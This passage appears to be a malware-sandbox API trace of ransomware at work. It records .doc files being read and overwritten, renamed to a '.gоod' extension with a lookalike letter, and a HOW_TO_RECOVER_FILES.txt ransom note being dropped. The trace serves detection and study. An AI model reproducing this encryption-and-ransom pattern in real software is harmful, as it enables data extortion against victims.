[0260.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cecfe0) returned 1 [0260.618] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\ineuyx wsse_1ulta.doc"), fInfoLevelId=0x0, lpFileInformation=0x38ede90 | out: lpFileInformation=0x38ede90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e82ab20, ftCreationTime.dwHighDateTime=0x1d4cece, ftLastAccessTime.dwLowDateTime=0xa9e2fe0, ftLastAccessTime.dwHighDateTime=0x1d4cd94, ftLastWriteTime.dwLowDateTime=0xa9e2fe0, ftLastWriteTime.dwHighDateTime=0x1d4cd94, nFileSizeHigh=0x0, nFileSizeLow=0x162e4)) returned 1 [0260.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cecfa0) returned 1 [0260.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc", nBufferLength=0x105, lpBuffer=0x20cec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc", lpFilePart=0x0) returned 0x3e [0260.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cecee0) returned 1 [0260.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\ineuyx wsse_1ulta.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0260.618] GetFileType (hFile=0x864) returned 0x1 [0260.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cece50) returned 1 [0260.619] GetFileType (hFile=0x864) returned 0x1 [0260.619] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ced038*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ced038*=0) returned 0x1000 [0260.619] ReadFile (in: hFile=0x864, lpBuffer=0x38ee2a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced008, lpOverlapped=0x0 | out: lpBuffer=0x38ee2a8*, lpNumberOfBytesRead=0x20ced008*=0x1000, lpOverlapped=0x0) returned 1 [0260.619] CloseHandle (hObject=0x864) returned 1 [0260.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc", nBufferLength=0x105, lpBuffer=0x20cec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc", lpFilePart=0x0) returned 0x3e [0260.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cecee0) returned 1 [0260.619] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\ineuyx wsse_1ulta.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0260.619] GetFileType (hFile=0x864) returned 0x1 [0260.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cece50) returned 1 [0260.619] GetFileType (hFile=0x864) returned 0x1 [0260.619] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ced038*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ced038*=0) returned 0x162e4 [0260.619] WriteFile (in: hFile=0x864, lpBuffer=0x38ef540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20cecf28, lpOverlapped=0x0 | out: lpBuffer=0x38ef540*, lpNumberOfBytesWritten=0x20cecf28*=0x10, lpOverlapped=0x0) returned 1 [0260.619] CloseHandle (hObject=0x864) returned 1 [0260.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc", nBufferLength=0x105, lpBuffer=0x20cec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc", lpFilePart=0x0) returned 0x3e [0260.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cecee0) returned 1 [0260.622] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\ineuyx wsse_1ulta.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0260.622] GetFileType (hFile=0x864) returned 0x1 [0260.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cece50) returned 1 [0260.622] GetFileType (hFile=0x864) returned 0x1 [0260.622] ReadFile (in: hFile=0x864, lpBuffer=0x38f1800, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cecfb8, lpOverlapped=0x0 | out: lpBuffer=0x38f1800*, lpNumberOfBytesRead=0x20cecfb8*=0x1000, lpOverlapped=0x0) returned 1 [0260.909] CloseHandle (hObject=0x864) returned 1 [0260.909] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc", nBufferLength=0x105, lpBuffer=0x20cec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc", lpFilePart=0x0) returned 0x3e [0260.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cecee0) returned 1 [0260.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\ineuyx wsse_1ulta.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0260.909] GetFileType (hFile=0x864) returned 0x1 [0260.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cece50) returned 1 [0260.909] GetFileType (hFile=0x864) returned 0x1 [0260.909] WriteFile (in: hFile=0x864, lpBuffer=0x37f7658*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ced068, lpOverlapped=0x0 | out: lpBuffer=0x37f7658*, lpNumberOfBytesWritten=0x20ced068*=0x1010, lpOverlapped=0x0) returned 1 [0260.909] CloseHandle (hObject=0x864) returned 1 [0260.909] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc", nBufferLength=0x105, lpBuffer=0x20cecb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc", lpFilePart=0x0) returned 0x3e [0260.909] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc.gоod", nBufferLength=0x105, lpBuffer=0x20cecb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc.gоod", lpFilePart=0x0) returned 0x43 [0260.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cecfa0) returned 1 [0260.909] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\ineuyx wsse_1ulta.doc"), fInfoLevelId=0x0, lpFileInformation=0x20ced080 | out: lpFileInformation=0x20ced080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e82ab20, ftCreationTime.dwHighDateTime=0x1d4cece, ftLastAccessTime.dwLowDateTime=0xa9e2fe0, ftLastAccessTime.dwHighDateTime=0x1d4cd94, ftLastWriteTime.dwLowDateTime=0x97b9b930, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x162f4)) returned 1 [0260.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cecf60) returned 1 [0260.910] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\ineuyx wsse_1ulta.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\ineUyx WSSe_1UlTA.doc.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\ineuyx wsse_1ulta.doc.gоod")) returned 1 [0260.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec800) returned 1 [0260.911] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL", nBufferLength=0x105, lpBuffer=0x20cec2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL", lpFilePart=0x0) returned 0x3a [0260.911] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\*", lpFindFileData=0x20cec520 | out: lpFindFileData=0x20cec520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70ead8b0, ftCreationTime.dwHighDateTime=0x1d4c705, ftLastAccessTime.dwLowDateTime=0xe7c3f7b0, ftLastAccessTime.dwHighDateTime=0x1d4cfbf, ftLastWriteTime.dwLowDateTime=0xe7c3f7b0, ftLastWriteTime.dwHighDateTime=0x1d4cfbf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0260.911] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70ead8b0, ftCreationTime.dwHighDateTime=0x1d4c705, ftLastAccessTime.dwLowDateTime=0xe7c3f7b0, ftLastAccessTime.dwHighDateTime=0x1d4cfbf, ftLastWriteTime.dwLowDateTime=0xe7c3f7b0, ftLastWriteTime.dwHighDateTime=0x1d4cfbf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.911] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5660e90, ftCreationTime.dwHighDateTime=0x1d4d3d8, ftLastAccessTime.dwLowDateTime=0xf123e340, ftLastAccessTime.dwHighDateTime=0x1d4d273, ftLastWriteTime.dwLowDateTime=0xf123e340, ftLastWriteTime.dwHighDateTime=0x1d4d273, nFileSizeHigh=0x0, nFileSizeLow=0xb990, dwReserved0=0x0, dwReserved1=0x0, cFileName="cBx-.doc", cAlternateFileName="")) returned 1 [0260.911] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0260.911] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0260.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec740) returned 1 [0260.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec700) returned 1 [0260.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec800) returned 1 [0260.911] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL", nBufferLength=0x105, lpBuffer=0x20cec2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL", lpFilePart=0x0) returned 0x3a [0260.911] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\*", lpFindFileData=0x20cec520 | out: lpFindFileData=0x20cec520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70ead8b0, ftCreationTime.dwHighDateTime=0x1d4c705, ftLastAccessTime.dwLowDateTime=0xe7c3f7b0, ftLastAccessTime.dwHighDateTime=0x1d4cfbf, ftLastWriteTime.dwLowDateTime=0xe7c3f7b0, ftLastWriteTime.dwHighDateTime=0x1d4cfbf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0260.912] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70ead8b0, ftCreationTime.dwHighDateTime=0x1d4c705, ftLastAccessTime.dwLowDateTime=0xe7c3f7b0, ftLastAccessTime.dwHighDateTime=0x1d4cfbf, ftLastWriteTime.dwLowDateTime=0xe7c3f7b0, ftLastWriteTime.dwHighDateTime=0x1d4cfbf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.912] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5660e90, ftCreationTime.dwHighDateTime=0x1d4d3d8, ftLastAccessTime.dwLowDateTime=0xf123e340, ftLastAccessTime.dwHighDateTime=0x1d4d273, ftLastWriteTime.dwLowDateTime=0xf123e340, ftLastWriteTime.dwHighDateTime=0x1d4d273, nFileSizeHigh=0x0, nFileSizeLow=0xb990, dwReserved0=0x0, dwReserved1=0x0, cFileName="cBx-.doc", cAlternateFileName="")) returned 1 [0260.912] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x20cec4e0 | out: lpFindFileData=0x20cec4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5660e90, ftCreationTime.dwHighDateTime=0x1d4d3d8, ftLastAccessTime.dwLowDateTime=0xf123e340, ftLastAccessTime.dwHighDateTime=0x1d4d273, ftLastWriteTime.dwLowDateTime=0xf123e340, ftLastWriteTime.dwHighDateTime=0x1d4d273, nFileSizeHigh=0x0, nFileSizeLow=0xb990, dwReserved0=0x0, dwReserved1=0x0, cFileName="cBx-.doc", cAlternateFileName="")) returned 0 [0260.912] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0260.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec740) returned 1 [0260.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec700) returned 1 [0260.912] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc", lpFilePart=0x0) returned 0x43 [0260.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec5b0) returned 1 [0260.912] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\fz3l1-hmkihh06_el\\cbx-.doc"), fInfoLevelId=0x0, lpFileInformation=0x3992780 | out: lpFileInformation=0x3992780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5660e90, ftCreationTime.dwHighDateTime=0x1d4d3d8, ftLastAccessTime.dwLowDateTime=0xf123e340, ftLastAccessTime.dwHighDateTime=0x1d4d273, ftLastWriteTime.dwLowDateTime=0xf123e340, ftLastWriteTime.dwHighDateTime=0x1d4d273, nFileSizeHigh=0x0, nFileSizeLow=0xb990)) returned 1 [0260.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec570) returned 1 [0260.912] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc", lpFilePart=0x0) returned 0x43 [0260.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0260.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\fz3l1-hmkihh06_el\\cbx-.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0260.913] GetFileType (hFile=0x864) returned 0x1 [0260.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0260.913] GetFileType (hFile=0x864) returned 0x1 [0260.913] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x1000 [0260.913] ReadFile (in: hFile=0x864, lpBuffer=0x3992b78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec5d8, lpOverlapped=0x0 | out: lpBuffer=0x3992b78*, lpNumberOfBytesRead=0x20cec5d8*=0x1000, lpOverlapped=0x0) returned 1 [0260.913] CloseHandle (hObject=0x864) returned 1 [0260.913] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc", lpFilePart=0x0) returned 0x43 [0260.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0260.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\fz3l1-hmkihh06_el\\cbx-.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0260.914] GetFileType (hFile=0x864) returned 0x1 [0260.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0260.914] GetFileType (hFile=0x864) returned 0x1 [0260.914] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0xb990 [0260.914] WriteFile (in: hFile=0x864, lpBuffer=0x3993e00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20cec4f8, lpOverlapped=0x0 | out: lpBuffer=0x3993e00*, lpNumberOfBytesWritten=0x20cec4f8*=0x10, lpOverlapped=0x0) returned 1 [0260.914] CloseHandle (hObject=0x864) returned 1 [0260.962] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc", lpFilePart=0x0) returned 0x43 [0260.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0260.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\fz3l1-hmkihh06_el\\cbx-.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.962] GetFileType (hFile=0x808) returned 0x1 [0260.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0260.962] GetFileType (hFile=0x808) returned 0x1 [0260.962] ReadFile (in: hFile=0x808, lpBuffer=0x39960b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec588, lpOverlapped=0x0 | out: lpBuffer=0x39960b0*, lpNumberOfBytesRead=0x20cec588*=0x1000, lpOverlapped=0x0) returned 1 [0260.989] CloseHandle (hObject=0x808) returned 1 [0260.989] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc", lpFilePart=0x0) returned 0x43 [0260.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0260.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\fz3l1-hmkihh06_el\\cbx-.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0260.989] GetFileType (hFile=0x808) returned 0x1 [0260.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0260.989] GetFileType (hFile=0x808) returned 0x1 [0260.989] WriteFile (in: hFile=0x808, lpBuffer=0x3994e18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20cec638, lpOverlapped=0x0 | out: lpBuffer=0x3994e18*, lpNumberOfBytesWritten=0x20cec638*=0x1010, lpOverlapped=0x0) returned 1 [0260.989] CloseHandle (hObject=0x808) returned 1 [0260.989] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc", lpFilePart=0x0) returned 0x43 [0260.989] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc.gоod", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc.gоod", lpFilePart=0x0) returned 0x48 [0260.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec570) returned 1 [0260.989] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\fz3l1-hmkihh06_el\\cbx-.doc"), fInfoLevelId=0x0, lpFileInformation=0x20cec650 | out: lpFileInformation=0x20cec650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5660e90, ftCreationTime.dwHighDateTime=0x1d4d3d8, ftLastAccessTime.dwLowDateTime=0xf123e340, ftLastAccessTime.dwHighDateTime=0x1d4d273, ftLastWriteTime.dwLowDateTime=0x97c5a55d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0)) returned 1 [0260.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec530) returned 1 [0260.989] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\fz3l1-hmkihh06_el\\cbx-.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\cBx-.doc.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\fz3l1-hmkihh06_el\\cbx-.doc.gоod")) returned 1 [0260.990] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20cec250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x53 [0260.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec770) returned 1 [0260.990] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\fZ3L1-hMKIhh06_eL\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\fz3l1-hmkihh06_el\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0260.991] GetFileType (hFile=0x808) returned 0x1 [0260.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec6e0) returned 1 [0260.991] GetFileType (hFile=0x808) returned 0x1 [0260.991] WriteFile (in: hFile=0x808, lpBuffer=0x3a14888*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20cec838, lpOverlapped=0x0 | out: lpBuffer=0x3a14888*, lpNumberOfBytesWritten=0x20cec838*=0x5d0, lpOverlapped=0x0) returned 1 [0260.992] CloseHandle (hObject=0x808) returned 1 [0260.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec800) returned 1 [0260.992] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy", nBufferLength=0x105, lpBuffer=0x20cec2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy", lpFilePart=0x0) returned 0x3c [0260.992] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\*", lpFindFileData=0x20cec520 | out: lpFindFileData=0x20cec520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5666330, ftCreationTime.dwHighDateTime=0x1d4ccda, ftLastAccessTime.dwLowDateTime=0xcc5e9f20, 